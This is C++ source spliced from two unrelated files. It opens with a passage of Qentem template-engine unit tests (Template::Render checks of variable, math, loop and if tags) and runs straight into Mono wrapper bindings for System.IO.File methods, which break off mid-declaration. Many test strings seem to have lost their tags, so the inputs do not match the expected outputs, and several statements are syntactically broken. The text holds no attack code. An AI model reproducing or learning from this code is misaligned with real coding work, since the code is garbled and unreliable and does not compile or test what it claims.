R"(true)", R"(Render())"); content = R"({if case="0" true="{raw:3}{raw:3}" false="{var:4}{var:4}"})"; EQ_VALUE(Template::Render(content, &value), R"(falsefalse)", R"(Render())"); content = R"({if case="1000" true="{var:3}{var:3}" false="{var:4}{var:4}"})"; EQ_VALUE(Template::Render(content, &value), R"(truetrue)", R"(Render())"); content = R"({if case="0" true="{var:3}---{var:3}" false="{var:4}---{var:4}"})"; EQ_VALUE(Template::Render(content, &value), R"(false---false)", R"(Render())"); content = R"({if case="1" true="{var:3}---{var:3}" false="{var:4}---{var:4}"})"; EQ_VALUE(Template::Render(content, &value), R"(true---true)", R"(Render())"); content = R"({if case="0" true="{var:10}" false="{var:20}"})"; EQ_VALUE(Template::Render(content, &value), R"({var:20})", R"(Render())"); content = R"({if case="1" true="{var:10}" false="{var:20}"})"; EQ_VALUE(Template::Render(content, &value), R"({var:10})", R"(Render())"); content = R"({if case="1" true="1" false="0")"; EQ_VALUE(Template::Render(content, &value), R"({if case="1" true="1" false="0")", R"(Render())"); content = R"({if case="1" true="1" false="0")"; EQ_VALUE(Template::Render(content, &value), R"({if case="1" true="1" false="0")", R"(Render())"); /////// Value value2; value2 += R"(&)"; value2 += R"(")"; value2 += 10; value2 += 5; value2 += 15; content = R"({if case="1" true="{var:0}" false="{var:1}"})"; #if defined(QENTEM_AUTOESCAPE_HTML) && (QENTEM_AUTOESCAPE_HTML == 1) EQ_VALUE(Template::Render(content, &value2), R"(&)", R"(Render())"); #else EQ_VALUE(Template::Render(content, &value2), R"(&)", R"(Render())"); #endif content = R"({if case="1" true="{raw:0}" false="{raw:1}"})"; EQ_VALUE(Template::Render(content, &value2), R"(&)", R"(Render())"); content = R"({if case="0" true="{var:0}" false="{var:1}"})"; #if defined(QENTEM_AUTOESCAPE_HTML) && (QENTEM_AUTOESCAPE_HTML == 1) EQ_VALUE(Template::Render(content, &value2), R"(")", R"(Render())"); #else EQ_VALUE(Template::Render(content, &value2), R"(")", R"(Render())"); #endif content = R"({if case="0" true="{raw:0}" false="{raw:1}"})"; EQ_VALUE(Template::Render(content, &value2), R"(")", R"(Render())"); content = R"({if case="{var:2}+{var:3} == {var:4}" true="{math:{var:3}+{var:4}}" false="{math: {var:2}+{var:4}}"})"; EQ_VALUE(Template::Render(content, &value2), R"(20)", R"(Render())"); content = R"({if case=" {var:4}-{var:3} != {var:2} " true="{math: {var:3}+{var:4} } " false=" {math: {var:2}+{var:4} } "})"; EQ_VALUE(Template::Render(content, &value2), R"( 25 )", R"(Render())"); END_SUB_TEST; } static int TestLoopTag1() { Value value; const char *content; value += 100; value += -50; value += R"(Qentem)"; value += true; value += false; value += nullptr; value += 3; content = R"(A)"; EQ_VALUE(Template::Render(content, &value), R"(AAAAAAAAAA)", R"(Render())"); content = R"(A)"; EQ_VALUE(Template::Render(content, &value), R"(A)", R"(Render())"); content = R"(A)"; EQ_VALUE(Template::Render(content, &value), R"(ABC)"; EQ_VALUE(Template::Render(content, &value), R"(ABCABCABC)", R"(Render())"); content = R"(-A)"; EQ_VALUE(Template::Render(content, &value), R"(-AAA)", R"(Render())"); content = R"(A-)"; EQ_VALUE(Template::Render(content, &value), R"(AAA-)", R"(Render())"); content = R"(-A-)"; EQ_VALUE(Template::Render(content, &value), R"(-AAA-)", R"(Render())"); content = R"(--A)"; EQ_VALUE(Template::Render(content, &value), R"(--AAA)", R"(Render())"); content = R"(A--)"; EQ_VALUE(Template::Render(content, &value), R"(AAA--)", R"(Render())"); content = R"(--A--)"; EQ_VALUE(Template::Render(content, &value), R"(--AAA--)", R"(Render())"); content = R"(---A)"; EQ_VALUE(Template::Render(content, &value), R"(---AAA)", R"(Render())"); content = R"(A---)"; EQ_VALUE(Template::Render(content, &value), R"(AAA---)", R"(Render())"); content = R"(---A---)"; EQ_VALUE(Template::Render(content, &value), R"(---AAA---)", R"(Render())"); content = R"(AB)"; EQ_VALUE(Template::Render(content, &value), R"(AABBB)", R"(Render())"); content = R"(A-B)"; EQ_VALUE(Template::Render(content, &value), R"(AA-BBB)", R"(Render())"); content = R"(A--B)"; EQ_VALUE(Template::Render(content, &value), R"(AA--BBB)", R"(Render())"); content = R"(A---B)"; EQ_VALUE(Template::Render(content, &value), R"(AA---BBB)", R"(Render())"); content = R"(A B)"; EQ_VALUE(Template::Render(content, &value), R"(AA BBB)", R"(Render())"); //// content = R"(CCAB)"; EQ_VALUE(Template::Render(content, &value), R"(CCCCCCCCAABBB)", R"(Render())"); content = R"(CC-A-B)"; EQ_VALUE(Template::Render(content, &value), R"(CCCCCCCC-AA-BBB)", R"(Render())"); content = R"(CC--A--B)"; EQ_VALUE(Template::Render(content, &value), R"(CCCCCCCC--AA--BBB)", R"(Render())"); content = R"(CC---A---B)"; EQ_VALUE(Template::Render(content, &value), R"(CCCCCCCC---AA---BBB)", R"(Render())"); content = R"(CC A B)"; EQ_VALUE(Template::Render(content, &value), R"(CCCCCCCC AA BBB)", R"(Render())"); //////////////// content = R"(loop1-value, )"; EQ_VALUE(Template::Render(content, &value), R"(100, -50, Qentem, true, false, null, )", R"(Render())"); content = R"(loop1-value, loop1-value )"; EQ_VALUE( Template::Render(content, &value), R"(100, 100 -50, -50 Qentem, Qentem true, true false, false null, null )", R"(Render())"); content = R"(loop1-value{if case="loop1-value != null" true=", "})"; EQ_VALUE(Template::Render(content, &value), R"(Qentem, true, false, null)", R"(Render())"); //////////////// value.Reset(); value += 0; value += 1; value += 2; content = R"((loop1-value: loop2-value) )"; EQ_VALUE(Template::Render(content, &value), R"((0: 0) (0: 1) (1: 0) (1: 1) (2: 0) (2: 1) )", R"(Render())"); content = R"((loop1-value: loop2-value: loop3-value) )"; EQ_VALUE( Template::Render(content, &value), R"((0: 0: 0) (0: 0: 1) (0: 1: 0) (0: 1: 1) (1: 0: 0) (1: 0: 1) (1: 1: 0) (1: 1: 1) )", R"(Render())"); END_SUB_TEST; } static int TestLoopTag2() { Value value3; const char *content; Value value1 = JSON::Parse(R"([100, -50, "A", true, false, null])"); Value value2 = JSON::Parse( R"({"k-1": 4, "k-2":1.5, "k-3":"ABC", "k-4":true, "k-5":false, "k-6":null})"); ////////////////////// value3[R"(arr1)"] = value1; content = R"(loop1-value, )"; EQ_VALUE(Template::Render(content, &value1), R"(100, -50, A, true, false, null, )", R"(Render())"); content = R"(loop1-value, )"; EQ_VALUE(Template::Render(content, &value2), R"(true, false, null, )", R"(Render())"); content = R"(loop1-value, )"; EQ_VALUE(Template::Render(content, &value2), R"(4, 1.5, ABC, true, false, null, )", R"(Render())"); content = R"(loop1-value, )"; EQ_VALUE(Template::Render(content, &value3), R"(100, -50, A, true, false, null, )", R"(Render())"); value3[R"(arr1)"] = value2; content = R"(loop1-value, )"; EQ_VALUE(Template::Render(content, &value3), R"(4, 1.5, ABC, true, false, null, )", R"(Render())"); ////////////////////// value3[R"(arr1)"] = value1; content = R"(loop1-value, )"; EQ_VALUE(Template::Render(content, &value1), R"(100, -50, A, true, false, null, )", R"(Render())"); content = R"(loop1-value, )"; EQ_VALUE(Template::Render(content, &value2), R"(4, 1.5, ABC, true, false, null, )", R"(Render())"); content = R"(loop1-value, )"; EQ_VALUE(Template::Render(content, &value3), R"(100, -50, A, true, false, null, )", R"(Render())"); value3[R"(arr1)"] = value2; content = R"(loop1-value, )"; EQ_VALUE(Template::Render(content, &value3), R"(4, 1.5, ABC, true, false, null, )", R"(Render())"); ////////////////////// value3.Reset(); value3[R"(arr1)"][R"(arr2)"][R"(arr3)"] = value1; content = R"(loop1-value, )"; EQ_VALUE(Template::Render(content, &value3), R"(100, -50, A, true, false, null, )", R"(Render())"); value3.Reset(); value3[0][0] += value2; content = R"(loop1-value, )"; EQ_VALUE(Template::Render(content, &value3), R"(4, 1.5, ABC, true, false, null, )", R"(Render())"); value3.Reset(); value3[R"(k1)"][0][R"(k3)"] = value1; content = R"(loop1-value, )"; EQ_VALUE(Template::Render(content, &value3), R"(100, -50, A, true, false, null, )", R"(Render())"); value3.Reset(); value3[0][R"(k2)"] += value2; content = R"(loop1-value, loop1-value, )"; EQ_VALUE( Template::Render(content, &value3), R"(4, 4, 1.5, 1.5, ABC, ABC, true, true, false, false, null, null, )", R"(Render())"); value3 = JSON::Parse(R"({"group":[[10],[20],[30]]})"); content = R"(_Val2)"; EQ_VALUE(Template::Render(content, &value3), R"(102030)", R"(Render())"); value3 = JSON::Parse(R"({"group":[1,2,3,4]})"); content = R"(_Val)"; EQ_VALUE(Template::Render(content, &value3), R"(1)", R"(Render())"); content = R"(_Val)"; EQ_VALUE(Template::Render(content, &value3), R"(4)", R"(Render())"); content = R"(_Val)"; EQ_VALUE(Template::Render(content, &value3), R"(3)", R"(Render())"); value3 = JSON::Parse(R"({"numbers":[1,2,3,4,5,6,7,8]})"); content = R"(AtB)"; EQ_VALUE(Template::Render(content, &value3), R"(A12345678B)", R"(Render())"); content = R"(t[0])"; EQ_VALUE(Template::Render(content, &value3), R"()", R"(Render())"); END_SUB_TEST; } static int TestLoopTag3() { Value value; const char *content; content = R"()"; EQ_VALUE(Template::Render(content, &value), R"()", R"(Render())"); content = R"(abcd)"; EQ_VALUE(Template::Render(content, &value), R"()", R"(Render())"); content = R"()"; EQ_VALUE(Template::Render(content, &value), R"()", R"(Render())"); content = R"()"; EQ_VALUE(Template::Render(content, &value), R"()", R"(Render())"); content = R"()"; EQ_VALUE(Template::Render(content, &value), R"()", R"(Render())"); content = R"(A)"; EQ_VALUE(Template::Render(content, &value), R"(AA)", R"(Render())"); content = R"(a)"; EQ_VALUE(Template::Render(content, &value), R"()", R"(Render())"); content = R"(a)"; EQ_VALUE(Template::Render(content, &value), R"()", R"(Render())"); content = R"(a)"; EQ_VALUE(Template::Render(content, &value), R"()", R"(Render())"); content = R"(a)"; EQ_VALUE(Template::Render(content, &value), R"()", R"(Render())"); content = R"()"; EQ_VALUE(Template::Render(content, &value), R"()", R"(Render())"); content = R"(A)"; EQ_VALUE(Template::Render(content, &value), R"()", R"(Render())"); content = R"(A)"; EQ_VALUE(Template::Render(content, &value), R"()", R"(Render())"); value[R"(in)"] = Array>(); content = R"(A)"; EQ_VALUE(Template::Render(content, &value), R"()", R"(Render())"); content = R"(A)"; EQ_VALUE(Template::Render(content, &value), R"()", R"(Render())"); content = R"(A)"; EQ_VALUE(Template::Render(content, &value), R"()", R"(Render())"); content = R"(A)"; EQ_VALUE(Template::Render(content, &value), R"()", R"(Render())"); content = R"(A)"; EQ_VALUE(Template::Render(content, &value), R"()", R"(Render())"); content = R"(v)"; EQ_VALUE(Template::Render(content, &value), R"(in)", R"(Render())"); value.Reset(); value[R"(in)"] = 2; content = R"(A)"; EQ_VALUE(Template::Render(content, &value), R"(AA)", R"(Render())"); ///// value.Reset(); value[R"(k1)"] = 10; value[R"(k2)"] = 20; value[R"(k3)"] = 30; value[R"(k2)"].Reset(); content = R"(v)"; EQ_VALUE(Template::Render(content, &value), R"(1030)", R"(Render())"); value.RemoveIndex(1); content = R"(v)"; EQ_VALUE(Template::Render(content, &value), R"(v)", R"(Render())"); content = R"(v )"; EQ_VALUE(Template::Render(content, &value), R"(v )", R"(Render())"); value.Reset(); value += 10; value += 20; value += 30; value.RemoveIndex(1); content = R"(v)"; EQ_VALUE(Template::Render(content, &value), R"(1030)", R"(Render())"); value = JSON::Parse(R"( { "object": [ { "var1": "value1", "var2": "value2", "var3": "value3", "var4": "value4" } ], "array": [ [ "value10", "value20", "value30", "value40" ] ] } )"); content = R"(item[var1]item[var2]item[var3] item[var4])"; EQ_VALUE(Template::Render(content, &value), R"(value1value2value3 value4)", R"(Render())"); content = R"( item[0] item[1] item[2] item[3] )"; EQ_VALUE(Template::Render(content, &value), R"( value10 value20 value30 value40 )", R"(Render())"); content = R"(item[var11]item[var22]item[var33] item[var44])"; EQ_VALUE(Template::Render(content, &value), R"( )", R"(Render())"); content = R"(item[var11]item[var22]item[var33] item[var44])"; EQ_VALUE(Template::Render(content, &value), R"( )", R"(Render())"); content = R"()"; EQ_VALUE(Template::Render(content, &value), R"({var:name})"; EQ_VALUE(Template::Render(content, &value), R"(some_valsome_valsome_val)", R"(Render())"); END_SUB_TEST; } static int TestLoopTag4() { constexpr unsigned int size_4 = (8 * 4); StringStream content; StringStream output; String str; Value value; for (unsigned int i = 0; i < size_4; i++) { value += i; } content += R"()"; for (unsigned int i = 0; i < size_4; i++) { content += R"({var:)"; str = Digit::NumberToString(i); content += str; content += R"(})"; output += str; } content += R"()"; EQ_TRUE( (Template::Render(content.First(), content.Length(), &value) == output), R"(Render())"); ////////////////////// content.Clear(); output.Clear(); content += R"(A loop1-value B)"; for (unsigned int i = 0; i < size_4; i++) { output += R"(A )"; Digit::NumberToStringStream(output, i); output += R"( B)"; } EQ_TRUE( (Template::Render(content.First(), content.Length(), &value) == output), R"(Render())"); END_SUB_TEST; } static int TestLoopTag5() { Value value; const char *content; value = JSON::Parse(R"( [ { "year": 2019, "quarter": "q1", "week": 1, "total": 100 }, { "year": 2019, "quarter": "q1", "week": 1, "total": 125 }, { "year": 2019, "quarter": "q2", "week": 1, "total": 200 }, { "year": 2017, "quarter": "q2", "week": 2, "total": 300 }, { "year": 2020, "quarter": "q1", "week": 1, "total": 400 }, { "year": 2020, "quarter": "q1", "week": 1, "total": 450 }, { "year": 2020, "quarter": "q1", "week": 1, "total": 450 }, { "year": 2018, "quarter": "q2", "week": 1, "total": 200 }, { "year": 2018, "quarter": "q2", "week": 2, "total": 300 }, { "year": 2019, "quarter": "q2", "week": 2, "total": 300 } ] )"); content = R"(val3_)"; EQ_VALUE(Template::Render(content, &value), R"()", R"(Render())"); content = R"(val3_)"; EQ_VALUE(Template::Render(content, &value), R"(q11400q11450q11450q11100q11125q21200q22300q21200q22300q22300)", R"(Render())"); content = R"(val4_)"; EQ_VALUE(Template::Render(content, &value), R"(1400145014501100112512002300120023002300)", R"(Render())"); content = R"(-- val1_-val2_-val2_: val5_)"; EQ_VALUE( Template::Render(content, &value), R"(-- 2020-q1-1: 400 450 450-- 2019-q1-1: 100 125q2-1: 2002: 300-- 2018-q2-1: 2002: 300-- 2017-q2-2: 300)", R"(Render())"); content = R"(-- val1_-val2_-val2_: val5_)"; EQ_VALUE( Template::Render(content, &value), R"(-- 2019-q1-1: 100 125q2-1: 2002: 300-- 2017-q2-2: 300-- 2020-q1-1: 400 450 450-- 2018-q2-1: 2002: 300)", R"(Render())"); //////////// value.Reset(); value += 4; value += 1; value += 3; value += 5; value += 2; value += 7; value += 6; content = R"(val1_)"; EQ_VALUE(Template::Render(content, &value), R"(1234567)", R"(Render())"); content = R"(val1_)"; EQ_VALUE(Template::Render(content, &value), R"(7654321)", R"(Render())"); END_SUB_TEST; } static int TestIfTag1() { Value value; const char *content; value[R"(name)"] = R"(Qen)"; value[R"(t)"] = true; value[R"(f)"] = false; value[R"(n)"] = nullptr; value[R"(1)"] = 1; value[R"(one)"] = R"(1)"; value[R"(zero)"] = 0; content = R"({var:name})"; EQ_VALUE(Template::Render(content, &value), R"(Qen)", R"(Render())"); content = R"(#{var:name}#)"; EQ_VALUE(Template::Render(content, &value), R"(#Qen#)", R"(Render())"); content = R"(##{var:name}##)"; EQ_VALUE(Template::Render(content, &value), R"(####)", R"(Render())"); content = R"({var:name}1{var:name}2)"; EQ_VALUE(Template::Render(content, &value), R"(Qen1)", R"(Render())"); content = R"({var:name}1{var:name}2)"; EQ_VALUE(Template::Render(content, &value), R"(Qen2)", R"(Render())"); content = R"(#Good!#)"; EQ_VALUE(Template::Render(content, &value), R"(#Good!#)", R"(Render())"); content = R"(###Good!###)"; EQ_VALUE(Template::Render(content, &value), R"(###Good!###)", R"(Render())"); content = R"(Be Good!)"; EQ_VALUE(Template::Render(content, &value), R"(Be Good!)", R"(Render())"); content = R"(Good!Bad!)"; EQ_VALUE(Template::Render(content, &value), R"(Good!)", R"(Render())"); content = R"(Bad!Good!#)"; EQ_VALUE(Template::Render(content, &value), R"(Good!#)", R"(Render())"); content = R"(Bad!Very Bad!)"; EQ_VALUE(Template::Render(content, &value), R"()", R"(Render())"); content = R"(#Bad!Very Bad!Very Good!)"; EQ_VALUE(Template::Render(content, &value), R"(#Very Good!)", R"(Render())"); content = R"(ab)"; EQ_VALUE(Template::Render(content, &value), R"(a)", R"(Render())"); content = R"(ab)"; EQ_VALUE(Template::Render(content, &value), R"(b)", R"(Render())"); content = R"(ab)"; EQ_VALUE(Template::Render(content, &value), R"(b)", R"(Render())"); content = R"(ab)"; EQ_VALUE(Template::Render(content, &value), R"(a)", R"(Render())"); content = R"(abcEmpty)"; EQ_VALUE(Template::Render(content, &value), R"(Empty)", R"(Render())"); content = R"(abc===========)"; EQ_VALUE(Template::Render(content, &value), R"(a===========)", R"(Render())"); content = R"(===========abc)"; EQ_VALUE(Template::Render(content, &value), R"(===========ab)", R"(Render())"); content = R"(abcd)"; EQ_VALUE(Template::Render(content, &value), R"(a)", R"(Render())"); content = R"(abcd)"; EQ_VALUE(Template::Render(content, &value), R"(b)", R"(Render())"); content = R"(===========abcd===========)"; EQ_VALUE(Template::Render(content, &value), R"(===========c===========)", R"(Render())"); content = R"(abcd)"; EQ_VALUE(Template::Render(content, &value), R"(d)", R"(Render())"); content = R"(abc)"; EQ_VALUE(Template::Render(content, &value), R"(a)", R"(Render())"); content = R"(abc)"; EQ_VALUE(Template::Render(content, &value), R"(ab)", R"(Render())"); content = R"(bcac)"; EQ_VALUE(Template::Render(content, &value), R"(ba)", R"(Render())"); content = R"(acbc)"; EQ_VALUE(Template::Render(content, &value), R"(cb)", R"(Render())"); content = R"(Bad1!Bad2!a)"; EQ_VALUE(Template::Render(content, &value), R"(a)", R"(Render())"); content = R"( Bad1! Bad2! Bad3! ab Bad1! Bad2! Bad3! Bad1! Bad2! Bad3! c d Bad1! Bad2! Bad3! )"; EQ_VALUE(String::Trim(Template::Render(content, &value).GetString()), R"(a)", R"(Render())"); content = R"(a Bad1! Bad2! Bad3! Bad1! Bad2! Bad3! b c Bad1! Bad2! Bad3! Bad1! Bad2! Bad3! d )"; EQ_VALUE(String::Trim(Template::Render(content, &value).GetString()), R"(b)", R"(Render())"); content = R"( Bad1! Bad2! Bad3! a b Bad1! Bad2! Bad3! Bad1! Bad2! Bad3! c d Bad1! Bad2! Bad3! )"; EQ_VALUE(String::Trim(Template::Render(content, &value).GetString()), R"(c)", R"(Render())"); content = R"(a Bad1! Bad2! Bad3! Bad1! Bad2! Bad3! b c Bad1! Bad2! Bad3! Bad1! Bad2! Bad3! d )"; EQ_VALUE(String::Trim(Template::Render(content, &value).GetString()), R"(d)", R"(Render())"); END_SUB_TEST; } static int TestIfTag2() { Value value; const char *content; value[R"(name)"] = R"(Qentem)"; content = R"({var:name})"; EQ_VALUE(Template::Render(content, &value), R"(Qentem)", R"(Render())"); content = R"({var:name})"; EQ_VALUE(Template::Render(content, &value), R"({var:name})"; EQ_VALUE(Template::Render(content, &value), R"(Qentem)", R"(Render())"); content = R"({var:name})"; EQ_VALUE(Template::Render(content, &value), R"(Qentem)", R"(Render())"); content = R"({var:name})"; EQ_VALUE(Template::Render(content, &value), R"()", R"(Render())"); content = R"({var:name})"; EQ_VALUE(Template::Render(content, &value), R"()", R"(Render())"); content = R"({var:name})"; EQ_VALUE(Template::Render(content, &value), R"()", R"(Render())"); content = R"({var:name})"; EQ_VALUE(Template::Render(content, &value), R"(Qentem)", R"(Render())"); content = R"()"; EQ_VALUE(Template::Render(content, &value), R"()", R"(Render())"); content = R"()"; EQ_VALUE(Template::Render(content, &value), R"()", R"(Render())"); END_SUB_TEST; } static int TestRender1() { constexpr unsigned int size_4 = (8 * 4); StringStream content; StringStream output; String str; Value value; for (unsigned int i = 0; i < size_4; i++) { value += i; } for (unsigned int i = 0; i < size_4; i++) { content += R"({var:)"; str = Digit::NumberToString(i); content += str; output += str; content += R"(})"; } EQ_TRUE( (Template::Render(content.First(), content.Length(), &value) == output), R"(Render())"); content.Clear(); output.Clear(); unsigned int size = 8; for (unsigned int i = 0, x = 1; i < size_4; i++, x++) { if (x != size) { content += R"({var:)"; str = Digit::NumberToString(i); content += str; content += R"(})"; output += str; } else { size += 8; content += R"({math: 1 + )"; str = Digit::NumberToString(i); content += str; content += R"(})"; Digit::NumberToStringStream(output, 1U + i); } } EQ_TRUE( (Template::Render(content.First(), content.Length(), &value) == output), R"(Render())"); content.Clear(); output.Clear(); size = 8; for (unsigned int i = 0, x = 1; i < size_4; i++, x++) { if (x != size) { content += R"({var:)"; str = Digit::NumberToString(i); content += str; content += R"(})"; output += str; } else { size += 8; content += R"({if case="{var:)"; Digit::NumberToStringStream(content, i); content += R"(}<)"; Digit::NumberToStringStream(content, 1U + i); content += R"(" true="yes"})"; output += R"(yes)"; } } EQ_TRUE( (Template::Render(content.First(), content.Length(), &value) == output), R"(Render())"); content.Clear(); output.Clear(); size = 8; for (unsigned int i = 0, x = 1; i < size_4; i++, x++) { if (x != size) { content += R"({var:)"; str = Digit::NumberToString(i); content += str; content += R"(})"; output += str; } else { size += 8; content += R"(A)"; output += R"(A)"; } } EQ_TRUE( (Template::Render(content.First(), content.Length(), &value) == output), R"(Render())"); content.Clear(); output.Clear(); size = 8; for (unsigned int i = 0, x = 1; i < size_4; i++, x++) { if (x != size) { content += R"({var:)"; str = Digit::NumberToString(i); content += str; content += R"(})"; output += str; } else { size += 8; content += R"(A)"; output += R"(A)"; } } EQ_TRUE( (Template::Render(content.First(), content.Length(), &value) == output), R"(Render())"); content.Clear(); output.Clear(); constexpr unsigned int size_2_1 = (8 * 2) - 1; for (unsigned int i = 0; i < size_2_1; i++) { value += i; } content += R"()"; for (unsigned int i = 0; i < size_2_1; i++) { content += R"({var:)"; str = Digit::NumberToString(i); content += str; output += str; content += R"(})"; } content += R"()"; EQ_TRUE( (Template::Render(content.First(), content.Length(), &value) == output), R"(Render())"); END_SUB_TEST; } static int TestRender2() { Value value; const char *content; value += 0; value += 1; value += 2; value += 5; value += 10; content = R"(val_)"; EQ_VALUE(Template::Render(content, &value), R"()", R"(Render())"); content = R"(this_number)"; EQ_VALUE(Template::Render(content, &value), R"(15)", R"(Render())"); content = R"({if case="loop1_val < 5", true="loop1_val"})"; EQ_VALUE(Template::Render(content, &value), R"(012)", R"(Render())"); content = R"({if case="loop1_val < 5", true="{var:4}"})"; EQ_VALUE(Template::Render(content, &value), R"(101010)", R"(Render())"); content = R"(loop1_val[])"; EQ_VALUE(Template::Render(content, &value), R"()", R"(Render())"); content = R"(loop1_val[0 )"; EQ_VALUE( Template::Render(content, &value), R"({var:~loop1_val[0 {var:~loop1_val[0 {var:~loop1_val[0 {var:~loop1_val[0 {var:~loop1_val[0 )", R"(Render())"); value = JSON::Parse(R"([[[1,2,3]]])"); content = R"(loop1_val[0][2])"; EQ_VALUE(Template::Render(content, &value), R"(3)", R"(Render())"); END_SUB_TEST; } static int RunTemplateTests() { STARTING_TEST("Template.hpp (8-bit character)"); START_TEST("Variable Tag Test 1", TestVariableTag1); START_TEST("Variable Tag Test 2", TestVariableTag2); START_TEST("Variable Tag Test 3", TestVariableTag3); START_TEST("Variable Tag Test 4", TestVariableTag4); START_TEST("Raw Variable Tag Test 1", TestRawVariableTag1); START_TEST("Raw Variable Tag Test 2", TestRawVariableTag2); START_TEST("Raw Variable Tag Test 3", TestRawVariableTag3); START_TEST("Raw Variable Tag Test 4", TestRawVariableTag4); START_TEST("Math Tag Test 1", TestMathTag1); START_TEST("Math Tag Test 2", TestMathTag2); START_TEST("Inline if Tag Test", TestInlineIfTag); START_TEST("Loop Tag Test 1", TestLoopTag1); START_TEST("Loop Tag Test 2", TestLoopTag2); START_TEST("Loop Tag Test 3", TestLoopTag3); START_TEST("Loop Tag Test 4", TestLoopTag4); START_TEST("Loop Tag Test 5", TestLoopTag5); START_TEST("If Tag Test 1", TestIfTag1); START_TEST("If Tag Test 2", TestIfTag2); START_TEST("Render Test 1", TestRender1); START_TEST("Render Test 2", TestRender2); END_TEST("Template.hpp (8-bit character)"); } } // namespace Test } // namespace Qentem #endif #include #include #include #include #include #include #include #include #include #include namespace mscorlib { namespace System { namespace IO { //Public Methods void File::AppendAllText(mscorlib::System::String path, mscorlib::System::String contents) { MonoType *__parameter_types__[2]; void *__parameters__[2]; __parameter_types__[0] = Global::GetType(typeid(path).name()); __parameter_types__[1] = Global::GetType(typeid(contents).name()); __parameters__[0] = (MonoObject*)path; __parameters__[1] = (MonoObject*)contents; Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "AppendAllText", NullMonoObject, 2, __parameter_types__, __parameters__, NULL); } void File::AppendAllText(const char *path, const char *contents) { MonoType *__parameter_types__[2]; void *__parameters__[2]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameter_types__[1] = Global::GetType("mscorlib", "System", "String"); __parameters__[0] = mono_string_new(Global::GetDomain(), path); __parameters__[1] = mono_string_new(Global::GetDomain(), contents); Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "AppendAllText", NullMonoObject, 2, __parameter_types__, __parameters__, NULL); } void File::AppendAllText(mscorlib::System::String path, mscorlib::System::String contents, mscorlib::System::Text::Encoding encoding) { MonoType *__parameter_types__[3]; void *__parameters__[3]; __parameter_types__[0] = Global::GetType(typeid(path).name()); __parameter_types__[1] = Global::GetType(typeid(contents).name()); __parameter_types__[2] = Global::GetType(typeid(encoding).name()); __parameters__[0] = (MonoObject*)path; __parameters__[1] = (MonoObject*)contents; __parameters__[2] = (MonoObject*)encoding; Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "AppendAllText", NullMonoObject, 3, __parameter_types__, __parameters__, NULL); } void File::AppendAllText(const char *path, const char *contents, mscorlib::System::Text::Encoding encoding) { MonoType *__parameter_types__[3]; void *__parameters__[3]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameter_types__[1] = Global::GetType("mscorlib", "System", "String"); __parameter_types__[2] = Global::GetType(typeid(encoding).name()); __parameters__[0] = mono_string_new(Global::GetDomain(), path); __parameters__[1] = mono_string_new(Global::GetDomain(), contents); __parameters__[2] = (MonoObject*)encoding; Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "AppendAllText", NullMonoObject, 3, __parameter_types__, __parameters__, NULL); } mscorlib::System::IO::StreamWriter File::AppendText(mscorlib::System::String path) { MonoType *__parameter_types__[1]; void *__parameters__[1]; __parameter_types__[0] = Global::GetType(typeid(path).name()); __parameters__[0] = (MonoObject*)path; MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "AppendText", NullMonoObject, 1, __parameter_types__, __parameters__, NULL); return mscorlib::System::IO::StreamWriter(__result__); } mscorlib::System::IO::StreamWriter File::AppendText(const char *path) { MonoType *__parameter_types__[1]; void *__parameters__[1]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameters__[0] = mono_string_new(Global::GetDomain(), path); MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "AppendText", NullMonoObject, 1, __parameter_types__, __parameters__, NULL); return mscorlib::System::IO::StreamWriter(__result__); } void File::Copy(mscorlib::System::String sourceFileName, mscorlib::System::String destFileName) { MonoType *__parameter_types__[2]; void *__parameters__[2]; __parameter_types__[0] = Global::GetType(typeid(sourceFileName).name()); __parameter_types__[1] = Global::GetType(typeid(destFileName).name()); __parameters__[0] = (MonoObject*)sourceFileName; __parameters__[1] = (MonoObject*)destFileName; Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "Copy", NullMonoObject, 2, __parameter_types__, __parameters__, NULL); } void File::Copy(const char *sourceFileName, const char *destFileName) { MonoType *__parameter_types__[2]; void *__parameters__[2]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameter_types__[1] = Global::GetType("mscorlib", "System", "String"); __parameters__[0] = mono_string_new(Global::GetDomain(), sourceFileName); __parameters__[1] = mono_string_new(Global::GetDomain(), destFileName); Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "Copy", NullMonoObject, 2, __parameter_types__, __parameters__, NULL); } void File::Copy(mscorlib::System::String sourceFileName, mscorlib::System::String destFileName, mscorlib::System::Boolean overwrite) { MonoType *__parameter_types__[3]; void *__parameters__[3]; __parameter_types__[0] = Global::GetType(typeid(sourceFileName).name()); __parameter_types__[1] = Global::GetType(typeid(destFileName).name()); __parameter_types__[2] = Global::GetType(typeid(overwrite).name()); __parameters__[0] = (MonoObject*)sourceFileName; __parameters__[1] = (MonoObject*)destFileName; __parameters__[2] = reinterpret_cast(overwrite); Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "Copy", NullMonoObject, 3, __parameter_types__, __parameters__, NULL); } void File::Copy(const char *sourceFileName, const char *destFileName, mscorlib::System::Boolean overwrite) { MonoType *__parameter_types__[3]; void *__parameters__[3]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameter_types__[1] = Global::GetType("mscorlib", "System", "String"); __parameter_types__[2] = Global::GetType(typeid(overwrite).name()); __parameters__[0] = mono_string_new(Global::GetDomain(), sourceFileName); __parameters__[1] = mono_string_new(Global::GetDomain(), destFileName); __parameters__[2] = reinterpret_cast(overwrite); Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "Copy", NullMonoObject, 3, __parameter_types__, __parameters__, NULL); } mscorlib::System::IO::FileStream File::Create(mscorlib::System::String path) { MonoType *__parameter_types__[1]; void *__parameters__[1]; __parameter_types__[0] = Global::GetType(typeid(path).name()); __parameters__[0] = (MonoObject*)path; MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "Create", NullMonoObject, 1, __parameter_types__, __parameters__, NULL); return mscorlib::System::IO::FileStream(__result__); } mscorlib::System::IO::FileStream File::Create(const char 